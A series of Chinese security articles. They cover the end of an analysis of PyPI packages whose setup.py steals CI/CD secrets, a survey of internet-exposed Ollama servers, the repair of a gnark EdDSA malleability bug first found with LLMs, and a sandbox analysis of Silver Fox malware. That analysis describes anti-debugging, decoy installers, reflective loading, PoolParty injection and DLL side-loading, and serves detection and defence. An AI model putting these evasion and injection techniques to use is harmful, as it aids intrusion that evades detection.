   对 pip install 过程进行实时监控，重点检测 setup.py 中的环境变量扫描、网络外联和可疑命令执行行为，实现对攻击的早期发现与阻断。

• 供应链威胁检测：

   结合静态分析与动态检测技术，构建面向 CI/CD 场景的检测机制，通过 AST 解析识别恶意安装脚本行为，实现对 CI 定向恶意包的自动化防护。

5. 结论

我们系统分析了三个针对 CI/CD 生态的 PyPI 恶意包样本，揭示了一类高度隐蔽、定向性强的软件供应链攻击模式。攻击者通过在 setup.py 中嵌入恶意逻辑，实现对 CI 运行环境的自动化信息收集，重点窃取构建流水线元数据与敏感环境变量，从而为后续的定向攻击、凭据滥用与潜在的供应链渗透提供关键情报基础。

该攻击范式对现代 DevOps 架构构成严峻挑战，尤其在高度自动化的构建环境中，信息窃取行为本身即可引发严重的安全连锁反应，亟需在依赖管理、CI 运行权限控制以及自动化威胁检测等层面构建系统性防御机制。

阅读原文

跳转微信打开

以下文章来源于：AOSP实验室

南开大学AOSP实验室，聚焦多元化安全与隐私研究，涵盖网络安全、Web安全、大模型安全及新兴安全风险等方向，致力于提升网络技术与大模型融合场景下的整体安全性，并通过原创性研究成果持续服务与支撑安全社区发展。

2025年2月14日，南开大学AOSP实验室首次向国家有关部门披露公网暴露的Ollama服务（默认端口11434）存在未授权访问风险，并推动安全预警发布。此后，基于自主研发的XMap全网扫描器，我们开展了为期一年的持续监测，对Ollama公网暴露规模、生态演化与基础设施安全状况进行系统观测与分析。

在南开大学、奇安信技术研究院与清华大学研究团队的共同研究下，最终形成《Ollama网络安全态势监测2025年度报告》。综合分析表明：Ollama 公网暴露规模仍处于增长阶段，生态复杂度持续上升，节点流动性显著增强，整体基础设施呈现高度云化特征，同时 TLS 配置与安全治理水平仍存在进一步优化空间。

值此漏洞披露一周年之际，现发布报告预览版，以期推动相关服务安全加固，并促进大模型与网络安全交叉领域的研究发展。

──────✧ ✧ ✧──────

──────✧ ✧ ✧──────

0x01规模与趋势

从全年运行态势看，公网暴露规模整体保持高位波动，平均日活跃暴露约为13,254，中位数约为13,160，显示生态规模在全年维持相对稳定水平。从季度变化看，2025年 Q2与 Q3阶段性回落，而在2025年 Q4至2026年 Q1再次出现明显回升，反映出暴露活动具有周期性调整与阶段性扩张特征。

全年累计暴露 IP 达152,137，净增长规模为+141,664，累计暴露与当前活跃暴露比值约为9.47。该指标表明，“历史曾暴露”节点数量远高于持续在线节点规模，生态呈现显著的高更替与高流动特征。

──────✦ ✦ ✦──────

0x02生态结构

全年模型与版本生态呈现出“规模扩张与结构重排并行”的演进特征。观测期内，日唯一模型峰值达到5,654（2026-02-06），日唯一版本峰值达到182（2026-02-13）。按完整月度对比，模型规模由2025-02的4,969增至2026-01的8,379（+68.63%），版本数量由119增至195（+63.87%），表明生态复杂度持续上升。

0x02-1全周期事件（2025-02-14至2026-02-13）：

📎 口径说明

定义“全周期事件”为：某模型或版本在单日出现在100个活跃节点 IP 上记为100，并对全年逐日累加形成事件总量。

统计结果显示，Top1模型为 smollm2:135m（1,490,205，占7.98%），Top1家族为 llama（8,654,881，占46.34%），Top1版本为 0.1.33（287,829，占6.54%）。Top5占比方面，模型为22.33%、家族为82.47%、版本为24.64%，反映出家族层面高度集中，而模型与版本层面仍保持显著长尾结构。

从月度主导项演化看，第一模型经历 deepseek-r1:1.5b → hermes3:8b → smollm2:135m 的阶段性切换，其中后者自2025-04起长期占据主导地位；版本主线则由 0.5.x 逐步演进至 0.13.x，并在2026-02-13日维度首次出现 0.15.x 头部版本，显示版本迭代节奏仍在加快。

0x02-2最近日快照（2026-02-13）

截至2026-02-13，当日活跃 IP 为16,059，模型数5,643，版本数182。模型前五分别为 smollm2:135m（9.07%）、deepseek-v3.1:671b-cloud（7.47%）、nomic-embed-text:latest（2.99%）、deepseek-r1:1.5b（2.98%）与 mistral:latest（2.91%）；版本前五为 0.15.6（11.51%）、0.13.5（9.37%）、0.1.33（8.72%）、0.15.2（4.49%）与 0.15.4（4.49%）。

当日活跃 IP 年龄中位数为77天，其中7天内节点占比14.59%，90天以上占比46.37%。短周期波动节点与长期稳定节点同时存在，成为当前暴露生态的典型运行形态。

──────✧ ✧ ✧──────

0x03存活周期

存活周期分析表明，IP 极易更替，模型中等稳定，版本最稳定。这一结果与“节点弹性调度与迁移频繁、软件升级节奏慢于节点更替”的运行规律相一致。全年最长存活记录分别为：IP358天（3个节点）、模型 deepseek-r1:latest355天、版本 0.1.33 持续348天。

──────✦ ✦ ✦──────

0x04地理分布

全年观测覆盖158个国家和地区，前四依次为 CN（29.09%）、US（21.65%）、DE（9.06%）与 FR（7.43%）。其中 CN 与 US 合计占50.75%，前三占59.80%，前五占70.06%。整体呈现“全球分布广泛、核心承载区域高度集中”的特征。

──────✧ ✧ ✧──────

0x05 TLS 证书

观测发现，部分暴露IP通过443端口反向代理或网关对外提供访问。通过对TLS证书生态分析，共有24,524个暴露 IP 配置证书，其中 SSL 验证通过率为52.54%，证书过期率为9.88%。

证书生态中，Let's Encrypt 占比45.67%，其后为 DigiCert、TrustAsia、ZeroSSL 与 Sectigo。签名算法以 sha256WithRSA（69.43%）与 ecdsa-with-SHA384（25.63%）为主，但仍存在 md5WithRSA（2.39%）及少量 sha1WithRSA。密钥长度以2048位（68.00%）为主，另有部分4096位及少量1024位证书。总体来看，TLS部署已具规模，但仍有一定比例节点未达到当前安全基线。

──────✦ ✦ ✦──────

0x06预览总结

🔖 治理建议

综合全年监测结果，公网暴露的 Ollama 生态正在加速扩张，并呈现出“规模增长、结构重组、节点高流动、基础设施集中化”的复合态势。对治理而言，这意味着既要持续关注短周期暴露波动，也要建立面向长期演进的版本与证书风险跟踪机制。

本文为年度报告预览版。详细内容请参见南开大学 AOSP 实验室《Ollama 网络安全态势监测2025年度报告》白皮书（待发布，如有需求可留言公众号）。

阅读原文

跳转微信打开

星图实验室接棒玄武实验室，完成零知识证明库 gnark 高危漏洞的最终修复

2025 年 8 月，腾讯玄武实验室基于大模型能力构建的自动化漏洞挖掘引擎 Atuin 在零知识证明（ZKP）库 gnark 的签名验证电路中发现一处高危漏洞，并获得编号 CVE-2025-57801（CVSS 8.6）。该问题本质上属于签名可塑性（Signature Malleability）：在电路约束不完备的情况下，攻击者可以在不改变公共输入（交易内容/消息等）的前提下，构造出不同但仍能通过验证的签名见证，从而破坏“签名唯一性/不可重放性”这一常被上层协议默认成立的安全前提。

之所以需要严肃对待这类缺陷，是因为 gnark 作为工程化程度很高的 ZKP 库，被广泛用于 ZK-Rollup 等扩容场景；一旦 Operator/业务电路直接复用存在缺陷的“原生（native）签名验证”实现，那么攻击者就可能基于一笔真实交易派生出“内容相同但签名不同”的伪造版本，进而在某些以签名字段（如 R/S）派生 nullifier、反重放标识或约束逻辑的系统里引发重复执行/重复结算等连锁风险。

在玄武实验室披露后，其与上海交通大学 GOSSIP 实验室及郁昱教授团队完成了漏洞复现与影响分析，并推动社区修复。但值得注意的是：即便该漏洞构造并不复杂，其初始“修复”却并不严谨。在早期修复链路中，签名标量 S 的取值约束仍存在边界条件缺口——实现里检查的是 s <= order，而标准要求的是 严格不等 s < order。这会在极端边界（例如 s = order）下引入等价关系，使得签名对在形式上出现可塑性（可理解为 (R, 0) 与 (R, order) 的等价风险点），从而留下“理论上可被利用、工程上可能被误用”的残余隐患。

为消除这一残余风险，我们（星图实验室）进一步向 gnark 上游报告并推动修复：最终在 PR #1684 将约束从 AssertIsLessOrEqual 调整为严格比较（在 std/signature/eddsa/eddsa.go 中用 cmp.IsLess 并断言结果为 1），使 EdDSA 验证满足 S < order 的严格要求；该 PR 已于 2026-01-21 合入主分支，并在CVE-2025-57801中获得了致谢。

更有意思的是，这个“残余隐患”的发现路径，几乎与玄武实验室依赖复杂 Agent 体系（Atuin）进行自动化挖掘的路径相反：星图研究员在看到玄武实验室相关信息后第一时间尝试复现。作为安全研究团队，我们希望对 AI/大模型在漏洞分析中的有效性做更“朴素但可对照”的评估——因此我们没有调用外部网络，也没有搭建多工具链 Agent，而是把公开上下文（即ecdsa.go，prompt为：“请你帮我查找其中的安全隐患”。）直接投喂给 Gemini 2.5 Pro 与 GPT-5。出乎意料的是，在“无外部检索、无复杂编排”的条件下，大模型依然给出了准确的漏洞挖掘、机理拆解与推导链路，并能自然地把关注点落到“约束是否完备/边界是否严格”这种最容易在修复阶段被忽略的细节上。

我们关注到当时的网络安全圈的一些评论，例如微博上对这个的讨论是： “用 AI 发现代码中的漏洞已经没什么稀奇了。但是在密码学库，尤其是经过多轮人工审计的 Web3 社区的密码学库里还能发现漏洞，这就让我们对 AI 能力边界的认知又扩大了一圈。” 这个案例给了我们一些新的如何利用AI能力开展安全研究的启发，AI的能力在目前的安全研究人员认知中可能被低估了，需要大家进一步评估AI挖掘漏洞的潜力。

相关链接：

• 我们的AI发现了一个零知识证明库的漏洞，Sam Altman的项目也用了这个库https://mp.weixin.qq.com/s/MefyWBQJKU2Mf0vLwau8MQ

• gnark 官方漏洞公告：Security Advisories · Consensys/gnark · GitHub

• CVE-2025-57801：NVD - CVE-2025-57801

阅读原文

跳转微信打开

天穹沙箱团队在追踪银狐家族的攻击活动时，发现其最新样本采用了高度复杂且极具迷惑性的攻击链。

近期，天穹沙箱团队在追踪银狐家族的攻击活动时，发现其最新样本采用了高度复杂且极具迷惑性的攻击链。该攻击链通过多阶段反调试检测、伪装合法软件安装、内存反射加载等技术，并结合隐蔽的进程注入与DLL侧载（DLL Side-Loading）等手段，以规避安全检测，实现持久驻留于受害者主机。

• 样本名： Rar0092_v3.53.278_2xdcey.exe

• SHA1：50715a3abd66e17654255b7881b035d006dce605

• 文件类型：EXE

• 文件大小：127.03 MB

• 家族归属：银狐家族

• 报告链接：(https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=f5a88f0b8dac93bf0a307282ba2c9d86&sk=91675144)

该样本具备高度隐蔽性，在执行过程中反复侦测运行环境，其执行逻辑具有明显的多层次、复杂化特征。天穹智能化沙箱系统凭借其全链路行为深度建模与动态分析能力，成功完整捕获并解析了该样本从初始释放、伪装执行、多阶段内存加载到最终持久化与 C2 通信的全过程。系统不仅精准识别了其反调试、环境探测、权限提升等规避行为，还完整提取了各阶段解密后的恶意载荷。以下结合沙箱动态分析结果细致分析样本的恶意行径。

1、反调试检测

首先，样本运行后先检测自身是否处于调试状态，通过检查 PEB->BeingDebugged 字段识别当前是否被用户态调试器附加调试。
接着，调用 NtQuerySystemInformation(SystemBasicInformation) 接口获取当前系统基本信息，检测 CPU 核心数量是否满足 >= 3 核，以及物理内存大小是否满足 >= 3G，样本依据上述硬件配置判断是否处于沙箱分析环境。

当以上检测要求通过后，样本开启真正的恶意能力释放。为保护自身核心代码和逻辑不被轻易窥探，外部函数调用均通过手动查找 LDR 链表获取模块基址，再解析 PE 头获取函数地址，增加函数调用的隐蔽性。
这类多层环境感知检查被深度内嵌在代码执行流的关键节点上，形成贯穿始终的对抗屏障，阻碍安全人员的动态调试和静态分析。

2、伪装安装程序

环境检测通过后，样本再度检查自身是否具有管理员权限，权限满足后会在 C:\\ProgramData 目录下创建随机字符串的目录，并释放多个文件：

app.exe._ (MD5：f041793908111b5395226bc9ed5e6698)
README.md (MD5：daa5414f94d8f43925efffd79979cf75)
View.dat (MD5：c2db56df94b92d6370c87303d1506f54)
Web.dat (MD5：937ab7f863261a046ba3dd46df7cb270)
åº ç ¨å® .exe (MD5：34f435f15a846ae677f88ea412c074d1)
View.conf (MD5：85fac9d703132b9a28beb11d8ec3d181)

其中 åº ç ¨å® .exe (MD5：34f435f15a846ae677f88ea412c074d1) 为腾讯应用宝的可信安装程序，其余文件为样本后续阶段运行的加密 payload。
为掩盖程序真实意图，样本在释放恶意文件后，调用 WdcRunTaskAsInteractiveUser 接口运行腾讯应用宝安装程序，制造正常操作的假象，欺骗用户。随后，样本隐蔽地拉起 app.exe 进程，进入下一阶段的恶意操作。

3、Payload 加载与执行

第一阶段： View.dat 文件 payload 为 raw 数据，样本通过 VirtualAlloc 分配内存，将 payload 解密后写入内存，并调用 CreateThread 函数创建线程执行该段 payload。
解密后的 payload 是一段具备内存反射加载 PE 文件功能的 shellcode，会加载 raw 数据中夹带的 DLL 文件，并调用其入口函数 DllEntryPoint 进入下一阶段逻辑。

第二阶段： 内存加载的 DLL 文件注册服务并运行 svchost.exe 进程，并注入其他两个文件中包含的 payload (app.exe._ 和 View.dat)

值得说明的是，在本阶段执行注入操作时样本会判断运行环境，高版本 Windows 系统将使用 PoolParty (泳池派对) 注入技术。
注入的恶意代码会在用户目录下释放两个文件：WebViewHelper.exe 和 libcef.dll，其中 WebViewHelper.exe 为具备合法签名的白文件，被用来加载黑文件 libcef.dll，达到混淆视听的目的。

svchost.exe 进程通过自启动服务方式运行重命名之后的 WebViewHelper 进程，进入下一阶段逻辑。

第三阶段： WebViewHelper 进程加载的恶意 DLL 文件 (libcef.dll) 会进行一系列的环境检测，包括判断运行环境、所属 session 以及管理员权限等，检测通过后与 C2 服务器建立通信。